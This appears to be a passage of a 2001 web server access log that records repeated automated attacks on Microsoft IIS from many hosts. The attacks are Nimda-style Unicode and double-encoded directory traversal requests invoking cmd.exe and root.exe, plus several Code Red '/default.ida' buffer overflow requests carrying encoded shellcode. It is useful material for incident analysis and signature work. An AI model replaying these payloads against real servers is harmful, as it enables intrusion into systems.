/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 21:08:04: [128.59.47.63] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 21:08:22: [128.59.47.63] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 21:08:40: [128.59.47.63] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 21:08:59: [128.59.47.63] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 21:09:17: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 21:29:28: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 21:29:28: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 21:29:28: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 21:29:28: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 21:29:30: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 21:29:30: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 21:29:30: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 21:29:30: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 21:29:30: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 21:29:30: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 21:29:31: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 21:29:31: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 21:29:31: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 21:29:31: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 21:29:31: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 21:29:31: [128.59.47.63] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 21:30:25: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 21:30:25: [128.59.47.63] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 21:30:43: borenti2.law.columbia.edu [128.59.176.142] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 21:30:43: [128.59.47.63] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 21:31:02: borenti2.law.columbia.edu [128.59.176.142] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 21:31:02: [128.59.47.63] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 21:31:20: borenti2.law.columbia.edu [128.59.176.142] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 21:31:20: [128.59.47.63] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 21:31:38: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 21:31:38: [128.59.47.63] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 21:31:56: borenti2.law.columbia.edu [128.59.176.142] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 21:31:56: [128.59.47.63] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 21:32:14: borenti2.law.columbia.edu [128.59.176.142] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 21:32:14: [128.59.47.63] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 21:32:33: borenti2.law.columbia.edu [128.59.176.142] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 21:32:33: [128.59.47.63] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 21:32:51: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 21:32:51: [128.59.47.63] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 21:33:09: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 21:33:09: [128.59.47.63] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 21:33:27: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 21:33:27: depam.ee.columbia.edu [128.59.56.17] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010919 21:33:27: [128.59.47.63] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 21:33:46: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 21:33:46: [128.59.47.63] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 21:34:04: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 21:34:04: [128.59.47.63] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 21:34:22: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 21:34:22: [128.59.47.63] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 21:34:40: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 21:34:40: [128.59.47.63] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 21:34:59: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 21:34:59: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 21:41:36: borenti2.law.columbia.edu [128.59.176.142] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 21:41:36: borenti2.law.columbia.edu [128.59.176.142] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 21:41:36: borenti2.law.columbia.edu [128.59.176.142] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 21:41:38: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 21:41:39: borenti2.law.columbia.edu [128.59.176.142] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 21:41:42: borenti2.law.columbia.edu [128.59.176.142] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 21:41:42: borenti2.law.columbia.edu [128.59.176.142] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 21:41:42: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 21:41:42: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 21:41:42: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 21:41:43: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 21:41:43: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 21:41:46: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 21:41:46: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 21:41:46: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 21:41:46: [210.241.36.206] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 21:50:02: [210.241.36.206] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 21:50:22: [210.241.36.206] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 21:50:41: [210.241.36.206] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 21:51:00: [210.241.36.206] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 21:51:20: [210.241.36.206] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 21:51:39: [210.241.36.206] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 21:51:58: [210.241.36.206] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 21:52:18: [210.241.36.206] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 21:52:37: [128.59.47.63] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 21:52:55: [210.241.36.206] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 21:53:13: [128.59.47.63] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 21:53:31: [210.241.36.206] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 21:53:50: [128.59.47.63] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 21:54:08: [210.241.36.206] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 21:54:26: [128.59.47.63] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 21:54:44: [210.241.36.206] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 21:55:02: [128.59.47.63] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 21:55:21: [210.241.36.206] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 21:55:39: [128.59.47.63] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 21:55:57: [210.241.36.206] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 21:56:15: [128.59.47.63] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 21:56:33: [210.241.36.206] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 21:56:51: [128.59.47.63] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 21:57:10: dhcp33.cs.columbia.edu [128.59.19.233] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010919 21:57:10: [128.59.47.63] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 21:57:28: [128.59.47.63] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 21:57:46: [128.59.47.63] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 21:58:04: [128.59.47.63] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 21:58:22: [128.59.47.63] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 21:58:40: [128.59.47.63] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 21:58:59: [128.59.47.63] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 21:59:17: [128.59.47.63] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 21:59:35: [128.59.47.63] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 21:59:53: [128.59.47.63] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 22:00:11: [128.59.47.63] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 22:00:30: [128.59.47.63] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 22:00:48: [128.59.47.63] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 22:01:06: [128.59.47.63] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 22:01:24: [128.59.47.63] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 22:01:42: [128.59.47.63] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 22:02:00: [128.59.47.63] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 22:02:19: [128.59.47.63] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 22:02:37: [128.59.47.63] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 22:02:55: [128.59.47.63] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 22:03:13: [128.59.47.63] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 22:03:31: [128.59.47.63] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 22:03:50: [128.59.47.63] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 22:04:08: [128.59.47.63] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 22:04:26: owa.kicker.de [212.34.173.42] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 22:07:51: owa.kicker.de [212.34.173.42] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 22:07:52: owa.kicker.de [212.34.173.42] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 22:07:52: owa.kicker.de [212.34.173.42] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 22:07:53: owa.kicker.de [212.34.173.42] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 22:07:57: owa.kicker.de [212.34.173.42] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 22:07:58: owa.kicker.de [212.34.173.42] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 22:07:59: owa.kicker.de [212.34.173.42] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 22:07:59: owa.kicker.de [212.34.173.42] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 22:08:00: owa.kicker.de [212.34.173.42] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 22:08:01: owa.kicker.de [212.34.173.42] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 22:08:02: owa.kicker.de [212.34.173.42] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 22:08:03: owa.kicker.de [212.34.173.42] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 22:08:03: owa.kicker.de [212.34.173.42] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 22:08:07: owa.kicker.de [212.34.173.42] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 22:08:08: owa.kicker.de [212.34.173.42] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 22:08:09: dhcp33.cs.columbia.edu [128.59.19.233] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010919 22:09:03: [128.121.239.8] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 22:19:02: [128.121.239.8] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 22:19:21: [128.121.239.8] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 22:19:39: [128.121.239.8] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 22:20:01: [128.121.239.8] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 22:20:20: [128.121.239.8] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 22:20:39: [128.121.239.8] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 22:20:58: [128.121.239.8] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 22:21:17: [128.121.239.8] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 22:21:36: depam.ee.columbia.edu [128.59.56.17] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010919 22:21:36: [128.121.239.8] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 22:21:58: [128.121.239.8] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 22:22:16: [128.121.239.8] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 22:22:35: [128.121.239.8] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 22:22:57: [128.121.239.8] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 22:23:16: [128.121.239.8] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 22:23:35: [128.121.239.8] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 22:23:54: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 22:24:35: borenti2.law.columbia.edu [128.59.176.142] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 22:24:35: borenti2.law.columbia.edu [128.59.176.142] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 22:24:35: borenti2.law.columbia.edu [128.59.176.142] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 22:24:35: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 22:24:35: borenti2.law.columbia.edu [128.59.176.142] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 22:24:37: borenti2.law.columbia.edu [128.59.176.142] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 22:24:37: borenti2.law.columbia.edu [128.59.176.142] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 22:24:40: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 22:24:40: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 22:24:40: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 22:24:40: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 22:24:40: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 22:24:41: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 22:24:41: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 22:24:41: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 22:24:42: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 22:40:24: borenti2.law.columbia.edu [128.59.176.142] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 22:40:24: borenti2.law.columbia.edu [128.59.176.142] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 22:40:24: borenti2.law.columbia.edu [128.59.176.142] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 22:40:24: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 22:40:27: borenti2.law.columbia.edu [128.59.176.142] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 22:40:28: borenti2.law.columbia.edu [128.59.176.142] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 22:40:28: borenti2.law.columbia.edu [128.59.176.142] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 22:40:31: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 22:40:31: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 22:40:31: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 22:40:31: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 22:40:31: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 22:40:31: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 22:40:31: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 22:40:32: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 22:40:32: depam.ee.columbia.edu [128.59.56.17] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010919 22:47:19: host162.netcomco.com [] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 23:04:03: [128.164.247.208] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 23:07:39: [128.164.247.208] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 23:07:57: [128.164.247.208] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 23:08:15: [128.164.247.208] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 23:08:34: [128.164.247.208] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 23:08:52: [128.164.247.208] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 23:09:10: [128.164.247.208] "GET 